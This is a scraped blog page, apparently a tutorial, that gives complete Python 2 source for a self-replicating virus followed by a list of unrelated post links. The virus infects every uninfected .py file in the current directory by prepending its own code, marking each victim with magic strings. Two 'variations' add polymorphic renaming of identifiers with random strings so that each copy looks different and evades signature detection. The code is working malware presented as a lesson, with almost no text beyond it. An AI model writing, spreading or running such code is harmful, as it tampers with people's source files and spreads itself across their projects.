Basic Virus's Infection & Variation [Python]
Learn from here
Initial
#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def infect(filename):
os.rename(filename, filename + '~')
destination = open(filename, "w")
source = open(filename + "~", "r")
this = open(__main__.__file__, "r")
for line in this:
destination.write(line)
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
destination.write(line)
source.close()
destination.close()
this.close()
def is_infected(filename):
f = open(filename, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def find_and_infect_files():
path = "."
dirs = os.listdir(path)
for filename in dirs:
if filename.endswith(".py") and not is_infected(filename):
infect(filename)
find_and_infect_files()
print "---------------------------this is silly python virus-----------------"
#MAGIC_STRING_9348788nkmsd
Variation 1
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def infect(filename):
os.rename(filename, filename + "~")
destination = open(filename, "w")
source = open(filename + "~", "r")
this = open(__main__.__file__, "r")
mutations = init_mutation()
for line in this:
destination.write(mutate(line, mutations))
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
destination.write(line)
source.close()
destination.close()
this.close()
def is_infected(filename):
f = open(filename, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def mutate(line, mutations):
for k, v in mutations.iteritems():
line = line.replace(k, v)
return line
def init_mutation():
original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
'is_infected', 'infect', 'randstring', 'destination', 'mutate',
'randstring', 'original', 'mutations']
mutated = []
for o in original:
mutated.append((o, rand_string(len(o))))
return dict(mutated)
def rand_string(length):
randstring = ''
for i in range(0, length):
randstring += chr(random.randint(97, 122))
return randstring
def find_and_infect_files():
path = "."
dirs = os.listdir(path)
for filename in dirs:
if filename.endswith(".py") and not is_infected(filename):
infect(filename)
find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd
Variation 2
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def tnjjel(ptphbids):
os.rename(ptphbids, ptphbids + "~")
buszvmkioof = open(ptphbids, "w")
source = open(ptphbids + "~", "r")
this = open(__main__.__file__, "r")
ontsgrefv = puezajbvokbom()
for line in this:
buszvmkioof.write(vgaisf(line, ontsgrefv))
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
buszvmkioof.write(line)
source.close()
buszvmkioof.close()
this.close()
def is_tnjjeled(ptphbids):
f = open(ptphbids, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def vgaisf(line, ontsgrefv):
for k, v in ontsgrefv.iteritems():
line = line.replace(k, v)
return line
def puezajbvokbom():
slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
vgaisfd = []
for o in slrxwwms:
vgaisfd.append((o, rand_string(len(o))))
return dict(vgaisfd)
def rand_string(length):
qebmtybcrm = ''
for i in range(0, length):
qebmtybcrm += chr(random.randint(97, 122))
return qebmtybcrm
def find_and_tnjjel_files():
path = "."
dirs = os.listdir(path)
for ptphbids in dirs:
if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
tnjjel(ptphbids)
find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd
Bingo !
Basic Virus's Infection & Variation [Python]的更多相关文章
- 【Python】【Basic】MacOS上搭建Python开发环境
1. Python3 1.1. 下载地址:https://www.python.org/downloads/mac-osx/ 1.1.1. PKG包安装: 没啥可说的,点点点,下一步而已,不用手动配置 ...
- 【LeetCode】224. Basic Calculator 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 参考资料 日期 题目地址:https://lee ...
- Python基础知识(Basic knowledge)
Python基础知识(Basic knowledge) 1.认识Python&基础环境搭建 2.Python基础(上) 3.Python基础(中) 4.Python基础(下) 5.Python ...
- Python初学基础
初入坑Python,打算跟着沫凡小哥的学习视频打个基础,此篇文章做一些简单的学习记录,加油加油加油啦 沫凡小哥的学习网站:https://morvanzhou.github.io/tutorial ...
- 6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python)
6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python) Introduction Here’s a situation yo ...
- 【310】◀▶ Python 日期和时间
参考: python 时间日期计算 Python 日期和时间(菜鸟教程) 8.1. datetime — Basic date and time types python中datetime模块中dat ...
- 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!
学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...
- python网络框架Twisted
什么是Twisted Twisted是一个用python语言写的事件驱动网络框架,它支持很多种协议,包括UDP,TCP,TLS和其他应用层协议,比如HTTP,SMTP,NNTM,IRC,XMPP/Ja ...
- 结合python版本安装python-devel gcc和g++的区别 安装前做yum搜索
[test@ecs autocloudservices]# yum install python-develLoaded plugins: fastestmirrorLoading mirror sp ...
随机推荐
- Android基于mAppWidget实现手绘地图(十四)–在一个应用中使用多个地图
使用切图工具创建不同名称的地图资源.然后将这些资源放置到assert文件夹内. 像下面这样: 在代码中,根据不同的地图名称,查找地图. map = new MapWidget(this, " ...
- Deep learning:四十九(RNN-RBM简单理解)
前言: 本文主要是bengio的deep learning tutorial教程主页中最后一个sample:rnn-rbm in polyphonic music. 即用RNN-RBM来model复调 ...
- Image Wall - jQuery & CSS3 图片墙效果
今天我们要为您展示如何基于 jQuery 和 CSS3 创建一个整洁的图片墙效果.我们的想法是在页面上洒上一些大小不同的缩略图,并在当我们点击图片时候显示丝带,会显示一些描述,再次点击缩略图时,丝带将 ...
- 11款扁平化设计的 Twitter Bootstrap 主题和模板
扁平化设计和 Bootstrap 框架是2013年网页设计领域的两大设计潮流.把这两者集合起来不是件容易的事情,使用下面这些主题和模板将节省我们的开发时间,因为我们可以修改已有的基础代码,而不是从零开 ...
- Django之Form、CSRF、cookie和session
Django是一个大而全的web框架,为我们提供了很多实用的功能,本文主要介绍Form.CSRF.cookie和session 一.Form 在web页面中form表单是重要的组成部分,为了数据安全和 ...
- BitCoinJ之Hello World示例程序
简介 比特币(BitCoin)是一种基于区块链(BlockChain)技术的数字化货币. 本文介绍了使用基于Java语言的BitCoinJ API实现一个简单的收取和支付比特币的示例程序. 开发环境 ...
- 30天C#基础巩固----程序集,反射
一:认识程序集 只要是使用VS就会和程序集打交道,我们通过编辑和生产可执行程序就会自动生成程序集.那么什么事程序集呢,.net中的dll与exe文件的都是程序集(Assembly). ...
- 自己封装的JS分页功能[用于搭配后台使用]
* 2016.7.03 修复bug,优化代码逻辑 * 2016.5.25 修复如果找不到目标对象的错误抛出. * 2016.5.11 修复当实际页数(pageNumber)小于生成的页码间隔数时的bu ...
- c# 中基类变量指向派生类对象的实例化
这一篇文章转载自:http://www.xuebuyuan.com/390279.html 我对这篇文章进行了一一的验证,确实是这样子的,也明白了很多东西,觉得很有用,转载过来希望能够帮助大家. 1. ...
- QTableWidget控件总结<一>
[1]QTableWidget简介 QTableWidget是QT对话框设计中常用的显示数据表格的控件. 学习QTableWidget就要首先看看QTableView控件(控件也是有"家世& ...